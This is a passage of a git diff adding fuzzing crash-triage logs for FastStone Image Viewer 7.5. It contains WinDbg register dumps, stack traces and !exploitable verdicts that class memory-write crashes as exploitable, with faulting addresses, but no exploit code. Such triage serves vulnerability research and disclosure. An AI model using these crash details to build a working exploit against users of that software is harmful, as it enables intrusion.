C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d0c.1284): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=00000001 ebx=1276ff2f ecx=00000001 edx=115742c0 esi=07f3c2b8 edi=115742c0 +eip=00402d8a esp=0019f8e4 ebp=0019f94c iopl=0 nv dn ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210616 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:005901bd fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 1.530737203036982610860e-0003 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=117.848 9.75089e-017 6.99624e+033 -1.44756e+036 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 006017e8 00000000 0019f9b8 00000000 image00000000_00400000+0x2d8a +0019f9c4 005ff973 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x2017e8 +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff973 +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002be000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002be000 96eb576f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002be000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x115742c0 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x057b1968 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x2d8a +STACK_FRAME:image00000000_00400000+0x2017e8 +STACK_FRAME:image00000000_00400000+0x1ff973 +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x0000000000402d8a +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:EXPLOITABLE +BUG_TITLE:Exploitable - User Mode Write AV starting at image00000000_00400000+0x0000000000002d8a (Hash=0x67613208.0x057b1968) +EXPLANATION:User mode write access violations that are not near NULL are exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..41e0475 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/32304/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4829aeb Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..2bc6619 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,171 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1614: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1614: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1614.ff0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=07c80fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.29882e-010 -5.38828e+018 4.06742e+007 1.08231e+025 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00358000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00358000 1bad1f90 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00358000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..2bc6619 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/WindowsDebugEngine_description.txt @@ -0,0 +1,171 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1614: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1614: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 